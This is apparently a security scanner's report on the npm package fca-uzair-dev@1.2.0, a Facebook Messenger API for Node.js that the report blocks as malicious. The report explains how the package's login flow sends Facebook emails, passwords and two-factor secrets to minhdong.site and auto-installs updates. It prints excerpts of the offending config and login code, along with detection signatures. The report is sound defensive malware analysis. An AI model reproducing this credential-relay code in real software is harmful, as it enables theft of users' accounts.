Loading npm security reports…

fca-uzair-dev@1.2.0: Malicious npm security report (Block) | LPM Firewall

registry / fca-uzair-dev / 1.2.0

fca-uzair-dev@1.2.0

Uzair Facebook Chat API for Node.js - Interact with Facebook Messenger programmatically

AI Security Review

scanned 2h ago · by lpm-firewall-ai

The package routes Facebook account credentials to minhdong.site during API login. It also automatically installs package updates when the exported login function is used.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

Calling the exported login function with credentials, or automatic recovery after an invalid session.

Impact

A third party can receive Facebook credentials and the package can modify the consumer project by installing a new release.

Mechanism

Credential POST to a third-party login API and automatic npm installation.

Attack narrative

On normal credential login, the package selects minhdong.site by default and POSTs the email and password to its login endpoint. Session recovery also reads credentials from fca-uzair.json and uses this path. Separately, each login checks for updates and runs npm install in the current project, allowing the package to replace itself from npm or a GitHub URL.

Rationale

This is concrete credential exfiltration to a package-controlled third-party endpoint, activated by the package's core login flow. The automatic project-level updater increases supply-chain risk.

Evidence

module/config.jsmodule/loginHelper.jsmodule/login.jsfunc/checkUpdate.jsfca-uzair.jsontemp/.fca-update-lock.json

Network endpoints2

/api/v1/facebook/login_ios

Source & flagged code

10 flagged · loading source

module/loginHelper.jsView file

•matchType = normalized_sha256 matchedPackage = fca-uzair-dev@1.1.0 matchedPath = module/loginHelper.js matchedIdentity = npm:ZmNhLXV6YWlyLWRldg:1.1.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

module/loginHelper.jsView on unpkg

1"use strict"; L2: const fs = require("fs"); L3: const path = require("path");

Medium

Dynamic Require

Package source references dynamic require/import behavior.

module/loginHelper.jsView on unpkg · L1

module/config.jsView file

•Default automatic account recovery forwards email, password, and two-factor material to a fixed non-platform login relay. module/config.js: autoLogin: true, apiServer: "https://minhdong.site", credentials: { email: "", password: "", twofactor: "" }, module/loginHelper.js: * @param {string} email - Email hoặc số điện thoại * @param {string} password - Mật khẩu * @param {string|null} twoFactor - Secret Base32 cho 2FA (không phải mã 6 số) async function loginViaAPI(email, password, twoFactor = null, apiBaseUrl = null, apiKey = null) { const endpoint = `${baseUrl}/api/v1/facebook/login_ios`; email, password // Only include twoFactor if provided (must be Base32 secret, not 6-digit code) module/loginHelper.js: const u = config.credentials?.email || config.email; const p = config.credentials?.pas

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

module/config.jsView on unpkg

•matchType = normalized_sha256 matchedPackage = fca-uzair-dev@1.1.0 matchedPath = module/config.js matchedIdentity = npm:ZmNhLXV6YWlyLWRldg:1.1.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

module/config.jsView on unpkg

package.jsonView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

package.jsonView on unpkg

func/checkUpdate.jsView file

•matchType = normalized_sha256 matchedPackage = fca-uzair-dev@1.1.0 matchedPath = func/checkUpdate.js matchedIdentity = npm:ZmNhLXV6YWlyLWRldg:1.1.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

func/checkUpdate.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 649b9d70dea5d989 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = fca-uzair-dev@1.1.0 matchedPath = func/checkUpdate.js matchedIdentity = npm:ZmNhLXV6YWlyLWRldg:1.1.0 similarity = 1.000 shingleOverlap = 100 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

func/checkUpdate.jsView on unpkg

src/api/messaging/uploadAttachment.jsView file

•matchType = normalized_sha256 matchedPackage = fca-uzair-dev@1.1.0 matchedPath = [redacted].js matchedIdentity = npm:ZmNhLXV6YWlyLWRldg:1.1.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/messaging/uploadAttachment.jsView on unpkg

src/api/socket/core/getSeqID.jsView file

•matchType = normalized_sha256 matchedPackage = fca-uzair-dev@1.1.0 matchedPath = src/api/socket/core/getSeqID.js matchedIdentity = npm:ZmNhLXV6YWlyLWRldg:1.1.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/socket/core/getSeqID.jsView on unpkg

src/api/users/getUserInfo.jsView file

•matchType = normalized_sha256 matchedPackage = fca-uzair-dev@1.1.0 matchedPath = src/api/users/getUserInfo.js matchedIdentity = npm:ZmNhLXV6YWlyLWRldg:1.1.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/users/getUserInfo.jsView on unpkg

Source & flagged code

10 flagged

module/loginHelper.jsView file

Lines 1-21javascript

1"use strict";

2const fs = require("fs");

3const path = require("path");

Medium

Dynamic Require

Package source references dynamic require/import behavior.

module/loginHelper.jsView on unpkg · L1

4const EventEmitter = require("events");

5const models = require("../src/database/models");

6const logger = require("../func/logger");

7const { get, post, jar, makeDefaults } = require("../src/utils/request");

8const { saveCookies, getAppState } = require("../src/utils/client");

9const { getFrom } = require("../src/utils/constants");

10const { loadConfig } = require("./config");

11const { createRemoteClient } = require("../src/remote/remoteClient");

12const { config } = loadConfig();

13const axiosBase = require("axios");

14const regions = [

15 { code: "PRN", name: "Pacific Northwest Region", location: "Khu vực Tây Bắc Thái Bình Dương" },

16 { code: "VLL", name: "Valley Region", location: "Valley" },

17 { code: "ASH", name: "Ashburn Region", location: "Ashburn" },

18 { code: "DFW", name: "Dallas/Fort Worth Region", location: "Dallas/Fort Worth" },

19 { code: "LLA", name: "Los Angeles Region", location: "Los Angeles" },

20 { code: "FRA", name: "Frankfurt", location: "Frankfurt" },

21 { code: "SIN", name: "Singapore", location: "Singapore" },

•matchType = normalized_sha256 matchedPackage = fca-uzair-dev@1.1.0 matchedPath = module/loginHelper.js matchedIdentity = npm:ZmNhLXV6YWlyLWRldg:1.1.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

module/loginHelper.jsView on unpkg

module/config.jsView file

•Default automatic account recovery forwards email, password, and two-factor material to a fixed non-platform login relay. module/config.js: autoLogin: true, apiServer: "https://minhdong.site", credentials: { email: "", password: "", twofactor: "" }, module/loginHelper.js: * @param {string} email - Email hoặc số điện thoại * @param {string} password - Mật khẩu * @param {string|null} twoFactor - Secret Base32 cho 2FA (không phải mã 6 số) async function loginViaAPI(email, password, twoFactor = null, apiBaseUrl = null, apiKey = null) { const endpoint = `${baseUrl}/api/v1/facebook/login_ios`; email, password // Only include twoFactor if provided (must be Base32 secret, not 6-digit code) module/loginHelper.js: const u = config.credentials?.email || config.email; const p = config.credentials?.pas

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

module/config.jsView on unpkg

•matchType = normalized_sha256 matchedPackage = fca-uzair-dev@1.1.0 matchedPath = module/config.js matchedIdentity = npm:ZmNhLXV6YWlyLWRldg:1.1.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

module/config.jsView on unpkg

package.jsonView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

package.jsonView on unpkg

func/checkUpdate.jsView file

•matchType = normalized_sha256 matchedPackage = fca-uzair-dev@1.1.0 matchedPath = func/checkUpdate.js matchedIdentity = npm:ZmNhLXV6YWlyLWRldg:1.1.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

func/checkUpdate.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 649b9d70dea5d989 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = fca-uzair-dev@1.1.0 matchedPath = func/checkUpdate.js matchedIdentity = npm:ZmNhLXV6YWlyLWRldg:1.1.0 similarity = 1.000 shingleOverlap = 100 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

func/checkUpdate.jsView on unpkg

src/api/messaging/uploadAttachment.jsView file

•matchType = normalized_sha256 matchedPackage = fca-uzair-dev@1.1.0 matchedPath = [redacted].js matchedIdentity = npm:ZmNhLXV6YWlyLWRldg:1.1.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/messaging/uploadAttachment.jsView on unpkg

src/api/socket/core/getSeqID.jsView file

•matchType = normalized_sha256 matchedPackage = fca-uzair-dev@1.1.0 matchedPath = src/api/socket/core/getSeqID.js matchedIdentity = npm:ZmNhLXV6YWlyLWRldg:1.1.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/socket/core/getSeqID.jsView on unpkg

src/api/users/getUserInfo.jsView file

•matchType = normalized_sha256 matchedPackage = fca-uzair-dev@1.1.0 matchedPath = src/api/users/getUserInfo.js matchedIdentity = npm:ZmNhLXV6YWlyLWRldg:1.1.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/users/getUserInfo.jsView on unpkg